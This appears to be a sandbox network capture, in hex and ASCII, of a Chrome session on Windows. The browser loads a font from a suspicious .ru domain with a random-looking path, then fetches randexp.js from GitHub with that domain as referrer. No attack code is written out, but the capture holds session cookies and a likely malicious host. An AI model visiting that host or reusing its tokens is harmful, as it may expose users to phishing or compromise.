2025-03-21 06:03:21 UTC	826	IN	Data Raw: 3a 7a fe c5 8b c5 05 e7 cf 93 11 e7 12 35 7d d9 cd 00 fc a3 47 2a e1 6f bf c5 91 a1 57 a7 86 24 a7 4d 25 9c ff d0 34 71 b1 2d 4c 65 3b c9 28 75 74 92 50 36 04 9f ad 0e 2a 76 23 8c 52 6c f7 f7 cc be 11 93 56 3b 6d e9 5e fb 0c 46 76 95 2c c2 eb c5 ec ee ad b9 53 60 df 8e a3 dd ad 2d 7d 55 e2 8e df 4c 2e c5 bf cd ae 90 13 eb 15 82 5e 04 bb fb 9a 39 d9 dc 8d 8c 62 59 b3 05 4a 73 19 cb f2 5b b9 8b f2 b7 7d a7 b3 30 2d 7a c9 2e 14 34 f0 c2 ab 7b fd 85 fd f7 5e cd fb 1c 76 35 9f a5 d6 b4 25 7d 63 2a 99 17 5e 9a be 73 fc f8 f8 f7 97 f9 f3 12 4b f2 f5 da ce 73 b4 50 47 b8 fd 90 cf 3b 9b 4f af 6d 29 f8 a1 dd ec e3 f8 2d b4 7b eb ed c1 6d 78 95 75 5b 9c ea 91 b0 db eb 8e 7d f1 8b 59 ea f9 54 17 08 c1 67 ee 5f b8 d2 ca 6a 66 9d be 77 e6 f1 85 2f 7b 38 5d 9c d3 01 c9 Data Ascii: :z5}GoW$M%4q-Le;(utP6v#RlV;m^Fv,S`-}UL.^9bYJs[}0-z.4{^v5%}c*^sKsPG;Om)-{mxu[}YTg_jfw/{8]

Timestamp	Bytes transferred	Direction	Data
2025-03-21 06:03:21 UTC	1357	OUT	GET /GDSherpa-regular.woff HTTP/1.1 Host: zy7z.fmaymzjp.ru Connection: keep-alive Origin: https://zy7z.fmaymzjp.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMY Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkNGdUVxZ05rM0RONmRuTnZsaW5xRFE9PSIsInZhbHVlIjoiRnozenlhbmxYTko0SE01YmJRV21tRWZ1YXhhNlNTcnFYZ2xadkFpVjkrUzBGU0lqSHQ3VXJBVnRvRVFhYUM5SUF6ODN1YnhvdDRUdFJYS1h4UThBRytaeCs5VTdyK2kwMEhrYnlRR0pEdUxvREIxYWNGZTQ0QUxMUE5JS1M2UG4iLCJtYWMiOiI2NTliNGNiZGZkMjk1NTZkZjE5OWRhNzVlZGJiYTEzZjhhZmRmMDE4NTc1ODg0YTI4NmE3ZThhNGFhOTdjN2I2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkFSRlFESHI4NytMTmJEdWdQKzJ2WUE9PSIsInZhbHVlIjoiaHpyQS9jaVRDS1dBUnZYanVEcjhCeEViRENFdjhCOVprb0RPZ0FpY2ZwUjc2SUt6N3lQMm9VWkNnOHhWQnpCaWNTZTlLVUJrVWNGVXM0dlN2Z2FSaU1lV3B0NFlTZGE0WjhUV3JleGV2aGpCVGhqN0F6TUs1YmlaTzQ2NHg0R1ciLCJtYWMiOiI1ZmIwZDU4ZjEzMDkxMTdkYTMxNDA3NmU2OWRhZjU1ZmIwZWYxMzE5YTJjOGU4YmM2MDBkNDI4NzAyYzY2NWU4IiwidGFnIjoiIn0%3D
2025-03-21 06:03:21 UTC	1168	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 06:03:21 GMT Content-Type: font/woff Content-Length: 36696 Connection: close Content-Disposition: inline; filename="GDSherpa-regular.woff" Last-Modified: Fri, 21 Mar 2025 06:03:21 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5srPUGFfJHF9eoKnSWbmyOb3fZdsYl2SR%2F2ZYkZT0xjL6xZYvB%2FUumsGQ8diUytgEOP6BkNLBucCvqF%2FplsyJZUvO%2BPcOXV3CNsXHjr%2FOOrcZrlqBjPYHYWrGpa62cYmURIs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=8459&min_rtt=8458&rtt_var=3175&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2267&delivery_rate=336205&cwnd=39&unsent_bytes=0&cid=264643d55c927054&ts=540&x=0" Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Server: cloudflare CF-RAY: 923b3ee1ed71436f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=101912&min_rtt=101138&rtt_var=22501&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2823&recv_bytes=1929&delivery_rate=35995&cwnd=241&unsent_bytes=0&cid=dd0c35a475892b4f&ts=890&x=0"
2025-03-21 06:03:21 UTC	201	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8f 58 00 11 00 00 00 01 36 90 00 01 00 00 00 00 8e 30 00 00 01 28 00 00 02 97 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8e 28 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 18 99 00 00 5e 3e 80 e1 18 da 47 53 55 42 00 00 1a 1c 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c cc 00 00 00 46 00 00 00 60 68 60 7b 5a 63 6d 61 70 00 00 1d 14 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 87 b0 00 00 00 30 00 00 00 3c 28 d6 01 ad 66 70 67 6d 00 00 87 e0 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 87 a8 00 00 00 08 00 00 00 08 00 Data Ascii: wOFFX60(DSIG(GPOS^>GSUB3yOS/2F`h`{Zcmap<?+cvt 0<(fpgm?gasp
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 00 00 10 67 6c 79 66 00 00 22 30 00 00 54 6c 00 00 a0 68 11 94 2e 2b 68 65 61 64 00 00 76 9c 00 00 00 34 00 00 00 36 1a bb 7d da 68 68 65 61 00 00 76 d0 00 00 00 21 00 00 00 24 10 9d 09 5a 68 6d 74 78 00 00 76 f4 00 00 03 88 00 00 07 78 3b 0f c0 f7 6c 6f 63 61 00 00 7a 7c 00 00 03 a8 00 00 03 be 14 10 ec 74 6d 61 78 70 00 00 7e 24 00 00 00 20 00 00 00 20 03 2d 0c fd 6e 61 6d 65 00 00 7e 44 00 00 02 ce 00 00 06 27 d5 12 90 1c 70 6f 73 74 00 00 81 14 00 00 06 94 00 00 0b fb 31 2b f3 2c 70 72 65 70 00 00 8d a4 00 00 00 81 00 00 00 8d 19 50 02 10 78 da e5 5c 09 7c 55 d5 99 ff 4e 72 f3 5e f2 c2 0b 09 89 90 80 44 44 d0 b8 54 1c eb 82 e0 82 56 ad 02 a2 43 b5 b6 a3 b5 55 c4 5f 7f 4e c7 99 fa 6b 7f 38 8e 6d a7 88 d8 aa 68 07 51 1c 36 71 90 d6 85 c5 82 02 23 10 a3 Data Ascii: glyf"0Tlh.+headv46}hheav!$Zhmtxvx;locaz\|tmaxp~$ -name~D'post1+,prepPx\\|UNr^DDTVCU_Nk8mhQ6q#
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 41 ad 9e a0 54 0f 60 3b 00 d8 9e 0f 7e 15 00 5b 1f 78 d5 4b bd 8e 72 b3 51 ef 02 d4 b3 90 fa 03 f3 1c 60 dc 1f 4f 7d e8 4f 2a 52 1a d2 58 2e 85 fd 98 c5 47 c0 bf 65 c0 da a6 57 b2 ad dd a0 f9 93 68 7d 1c 6a 79 0a 6f 8f c7 79 02 7f 61 f3 0a f7 2f 21 6f 32 2c c1 54 b1 21 f9 c0 20 1f 18 64 81 66 b5 36 16 28 37 1b e7 39 c8 5f 80 77 17 02 93 55 38 0b fd 44 9b d3 41 23 9b 4b 4e 8b 3b 21 29 39 46 52 c0 25 3c 9b 80 3e 3e 8f f3 0b 90 b5 17 85 53 7e f5 12 f2 b4 46 db da 9c 81 96 33 d0 b2 e5 e1 56 1d 24 26 8c 16 a5 25 f4 10 bc a7 6e 68 ab 07 da ea 6e 68 6e a1 2d 9f e1 be 85 de e8 ba d2 51 57 2e ea f2 8b ee ce 84 cc cf 46 de 1c a9 2b 08 cc fd c0 ba 2b e4 69 19 6a 5d 07 df 51 02 6b 35 16 32 aa 6b 9a 80 5c 2d bf 5a 76 6d ed 0f 03 93 5a 23 bb 75 52 4b b1 c8 4d b6 60 b4 Data Ascii: AT`;~[xKrQ`O}O*RX.GeWh}jyoya/!o2,T! df6(79_wU8DA#KN;!)9FR%<>>S~F3V$&%nhnhn-QW.F++ij]Qk52k\-ZvmZ#uRKM`
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 55 6d 67 96 22 de 5a 12 3d 02 89 44 e8 ba 84 1d bb 7b 66 34 fa 76 04 dc a3 70 a8 87 ad 3c c9 cc 75 74 3e ae 56 d1 59 90 f1 26 ea 42 67 b8 25 4a 44 3f 2f b5 c7 e3 74 11 65 99 39 83 40 07 93 f6 70 eb 23 c4 8e 43 6f cf 1c 59 31 46 d2 c4 65 94 cb eb f9 4d 2a 40 e4 be db eb 6d f9 31 39 15 98 79 82 7e 89 8f 0b da b2 9f 5f 27 ff db 9d ef 70 a9 28 fb 11 64 06 04 76 a8 b5 b9 54 33 e7 91 30 ab 2f 73 2f eb 30 ae 58 de 5a fc ee b1 a1 ad f5 21 51 d8 fb 65 fc a1 e3 80 ac 56 4b a4 cb ea 83 3f fe db e6 48 49 b0 cc 04 64 16 29 4f 62 94 64 3e 2e 4f 92 64 f7 86 43 e1 e3 31 18 e7 98 14 4c 94 25 e4 fd 90 e9 7d ad da 8b 0e 69 47 da 8e 51 78 70 9c dc c1 9d 67 54 d2 d1 23 9a 28 1c 8e 74 ba 59 81 6c ea 94 07 7c cf 71 99 5b 0a ca 5a 47 19 97 48 b4 78 96 2d f7 88 ce 6a 61 fb 8f b7 Data Ascii: Umg"Z=D{f4vp<ut>VY&Bg%JD?/te9@p#CoY1FeM*@m19y~_'p(dvT30/s/0XZ!QeVK?HId)Obd>.OdC1L%}iGQxpgT#(tYl\|q[ZGHx-ja
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 16 9e 7c 28 3a a1 39 f2 10 62 fd a5 88 3e 1a f8 53 fe 25 f2 b7 9a 95 c2 3a 63 47 7a 53 a6 c8 55 21 a2 93 83 74 07 ae 83 18 cd bf 41 b9 b0 24 7a d5 f9 00 ef 06 5d 16 db b6 4a 78 11 84 0e 65 f2 36 9c c7 a0 de 49 bc 02 5a be 52 7f 8f 11 59 e5 8a 83 f5 73 22 2d 9b 79 09 4a e9 3d e4 49 d0 ce ed d0 17 86 f4 5d 86 e7 13 51 67 39 ef 81 dd d1 91 c2 21 19 97 4c 14 3c 83 b2 93 5c cf 07 6a 6d 55 9a da 6e 8c 1c 10 5b bd 1f e7 4a ba 98 0f 00 a7 03 bc 53 ef e5 96 fe 55 e9 ef 90 74 2c 16 b1 73 28 43 bc 5c 52 0e a2 b7 90 de 55 2d de 37 b3 5d 99 59 04 2a eb bd fb 7d 80 f3 5f f8 15 d0 be 0c b6 ef 66 fe 33 ff 1a f5 2e 85 6d df cc 1b 51 63 09 6f 41 e9 47 f8 03 fe 5f 48 59 25 7f c2 af 23 bf 54 62 ae 63 ae 5e f7 80 c5 5d 01 3b 3b 1f ed 97 80 02 65 28 33 9f 27 b9 7a 5e 2a 5f 00 Data Ascii: \|(:9b>S%:cGzSU!tA$z]Jxe6IZRYs"-yJ=I]Qg9!L<\jmUn[JSUt,s(C\RU-7]Y}_f3.mQcoAG_HY%#Tbc^];;e(3'z^_
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 0c b5 db bb f6 d3 63 c6 ae fa ff 46 1a a5 0f dd e3 8e 71 2d db 53 0a 4e be 18 4f ec 8d b8 fc 26 df fe 9e 30 57 a8 ed 33 57 a7 3f c7 71 02 54 cb 12 1b 7b 82 17 ba 6d 46 c6 81 33 dc 78 c9 c6 44 8f c0 b3 62 c6 1f 55 26 72 4a 97 19 4c 3b ae cd b7 63 4e d9 93 e3 37 36 5e be 64 10 1f e1 17 0e 63 54 8c a8 39 d9 fe a7 8c 53 99 8f 8c c2 fd b8 cc 98 66 88 b5 3b c2 d3 ed 15 e1 28 dc ff 68 66 4c 29 26 5a b5 a2 66 d3 ec af 31 7d 32 86 3b 2e fc c9 b5 69 29 b8 a7 bb b1 8a df ac fc 07 78 3b 38 79 50 d6 55 92 cd 5a 5b b0 8d af 95 e3 cb 4c b3 d0 2b 7a 7d 36 c9 23 d5 b1 f1 a3 ce 49 8b 6b 49 2c 67 75 cc 70 2a 23 4e 8c 15 2d 4b 9a 1f 01 a9 11 fd 16 1d ff 6a 87 9f 3a ef a1 3a 01 8e 49 f2 55 cd b9 b8 3a 1f d0 8f 2e 04 f4 a7 ef d0 cf f1 ec 61 5a 4d 0f d0 1a 5a 47 1f d1 67 54 42 Data Ascii: cFq-SNO&0W3W?qT{mF3xDbU&rJL;cN76^dcT9Sf;(hfL)&Zf1}2;.i)x;8yPUZ[L+z}6#IkI,gup*#N-Kj::IU:.aZMZGgTB
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 34 5b 88 fe 87 aa 57 b8 d5 82 47 ca e9 22 45 44 49 3f d1 d2 45 77 a9 28 56 ea 88 93 96 e2 5d 8d d0 87 be ea d9 9f 24 29 73 00 c9 ea 3e 98 14 86 88 bb 61 a4 32 5a d3 8d 65 9c d4 38 81 89 8c 27 91 29 4c 65 1a 93 98 cc 74 66 90 ce 4c 66 31 9b 39 cc 65 1e 19 64 32 9f 2c 16 b0 90 1c b2 59 44 2e 8b 59 c2 52 f2 58 a6 5d ac 10 37 ab 58 47 be 98 f7 b2 9a 35 14 52 c0 7a 36 52 4c 11 1b 28 a1 94 4d f8 d8 cc 16 b6 52 46 39 db d9 c1 4e 76 b1 8d dd ec 61 2f fb d8 4f 05 07 a8 e4 20 87 38 cc 11 8e 72 8c e3 54 71 82 53 9c e6 0c e7 38 cf 59 2e 70 92 8b 5c e6 12 57 b8 4a 35 d7 b8 2e 86 6e 72 8b db dc e1 ae 34 71 9f 1a 1e 88 cb 70 1e 8a 5b b4 91 7a f1 f6 84 97 e2 ae 91 57 62 e7 35 6f c5 ce 7b 3e 88 9d 26 fd 92 a5 83 6f e2 e7 bb 89 20 c5 78 4c 2c 79 26 ce 64 eb 35 6d bb 8c 6a Data Ascii: 4[WG"EDI?Ew(V]$)s>a2Ze8')LetfLf19ed2,YD.YRX]7XG5Rz6RL(MRF9Nva/O 8rTqS8Y.p\WJ5.nr4qp[zWb5o{>&o xL,y&d5mj
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 8a 11 6a c2 eb ea cc 3c dd a6 e7 35 4c 2f 68 b8 46 68 a4 e6 68 ae a6 ea 90 f2 18 48 01 87 24 55 d6 45 aa a6 bb d4 47 fd 09 d7 29 73 f1 85 e6 80 90 3f 1c cd ff 19 e7 f3 fd 6a 65 eb 3d ad d1 5a e5 68 9d de d7 7a e5 fe 9d 05 42 09 b3 6c ae c0 05 f6 f5 8a 54 a2 32 17 71 31 55 a8 4a 35 aa 53 83 4b a8 69 c9 5d 9b 08 2e b5 cc a9 6b 99 5e ff af fc b0 88 34 16 b3 84 b7 49 27 c3 f2 7c 19 ef 58 a6 67 b2 d2 f2 73 15 ef b2 da f2 fd 3d 4b d2 b5 96 18 eb 78 9f f5 e4 fe c1 9c e9 2f a1 a7 8b 91 33 84 04 23 23 60 54 04 8d 88 4f 8c 89 42 e3 e1 e7 52 22 2a 18 13 46 84 f1 e0 1a 11 0d 8c 06 9f 91 10 5d ca c2 1c 63 b3 84 db 4c fb b7 2b d9 6b b4 2e d0 5b ea 61 fc 6e 33 2a 9b 6a 9f 91 fb a1 76 29 dd e8 3d 68 7f ff b0 8e a8 c0 c8 5e 64 df de 60 4c cd 32 ee f7 2b 5f 4b b5 dd 4e 9f Data Ascii: j<5L/hFhhH$UEG)s?je=ZhzBlT2q1UJ5SKi].k^4I'\|Xgs=Kx/3##`TOBR"F]cL+k.[an3jv)=h^d`L2+_KN
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: ab fe 9f 9b 86 24 fe fd 89 f6 8d ce 12 46 c6 33 8b b8 46 32 96 3d cb c8 b8 f6 62 ed fb c4 04 fa cc a4 d6 ab 09 ff 2e e2 d7 2f 5e b4 66 01 fb ac f7 e0 9e 3b eb f1 66 eb 76 b1 3c b4 11 ca 63 19 8d c5 5b ec 02 2a 5e 6a 6f a2 6c a0 04 c8 79 91 0c 7d c0 e6 8d de 66 df 02 ac 86 31 5a a2 15 30 d4 c5 51 43 b3 30 f5 ac 6d c0 78 7a b8 aa 18 0d d2 70 94 43 89 d8 60 f6 f7 87 d1 91 0e a4 c0 c8 c6 8a e6 f3 6b 0b 95 e7 5d 4e 6d 3f 3c 7c 31 6b d5 c3 ea 69 ab cf 2d f6 19 3e 7f fd 15 76 d7 c8 fa cd 3f 1a 2a 96 e4 84 ef a7 ed 84 11 a0 52 72 88 23 2a 17 86 17 21 11 f4 2f a1 11 c8 75 63 dc 34 3e 3e 3c d1 5c 6a 64 02 ed 85 10 b4 17 6d 64 5d 7f 6d fd 18 e7 fc 4c d0 0b 8f 01 f9 23 ef b3 71 d6 f7 46 2e e3 3f 0a 97 84 5e 28 d6 26 8b ec d7 f0 07 cf 04 5a fc 6d 6d c7 75 d0 24 2f 0c Data Ascii: $F3F2=b./^f;fv<c[^joly}f1Z0QC0mxzpC`k]Nm?<\|1ki->v?Rr#*!/uc4>><\jdmd]mL#qF.?^(&Zmmu$/
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 63 c9 24 cb b0 2a 62 27 a9 18 05 a7 52 38 da 62 2e 4a 4c ad 31 86 f1 51 43 46 2f b5 f8 9f ab 32 38 5e 8f ec ec 32 35 11 46 9d 3a 92 75 65 af 59 cb 70 b7 f5 10 be 31 72 41 70 bd 8e 2f 0b f3 d1 a3 b2 a5 86 2a 84 6b dc ed 91 bf b2 be a2 3d da 33 7a 5b b5 06 c6 6f 08 93 cc bc 68 71 55 23 30 3a 10 cc ff 92 90 10 c7 82 57 70 7c a3 0b 22 ea 92 4c ce fe 65 6e 2a 98 32 98 7a 57 9b a1 25 da 63 89 93 41 99 31 60 99 1b 52 a9 ec 72 59 4c b6 0c 8c 8b cb 98 01 87 6b 45 b3 43 a1 50 d6 ba 22 a5 d2 4b ca c7 88 e6 5a ad 25 20 2c 94 61 8c 31 a1 c9 61 c9 40 75 08 e1 86 c6 a8 77 07 86 e8 d2 15 0a bd bd aa d6 a6 8f 71 28 da 61 8a e3 3e 2b fb cb 63 17 bf 7e 60 f6 ec 07 be be f8 c8 df ca d8 fd d6 00 7c ce ba 18 df ba b3 77 d3 f5 d5 19 19 ab af 6f 92 14 f5 7f fa 0e 8e a9 ea 7d 7d Data Ascii: c$b'R8b.JL1QCF/28^25F:ueYp1rAp/k=3z[ohqU#0:Wp\|"Len*2zW%cA1`RrYLkECP"KZ% ,a1a@uwq(a>+c~`\|wo}}

Timestamp	Bytes transferred	Direction	Data
2025-03-21 06:03:21 UTC	694	OUT	GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1 Host: github.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://zy7z.fmaymzjp.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 06:03:21 UTC	978	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Fri, 21 Mar 2025 06:03:21 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250321%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250321T060321Z&X-Amz-Expires=300&X-Amz-Signature=071a119fff1ae5c19ff0932ca383c324cdabb60cd6fc72f7da9ceee2dda321e0&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2025-03-21 06:03:21 UTC	3371	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.githu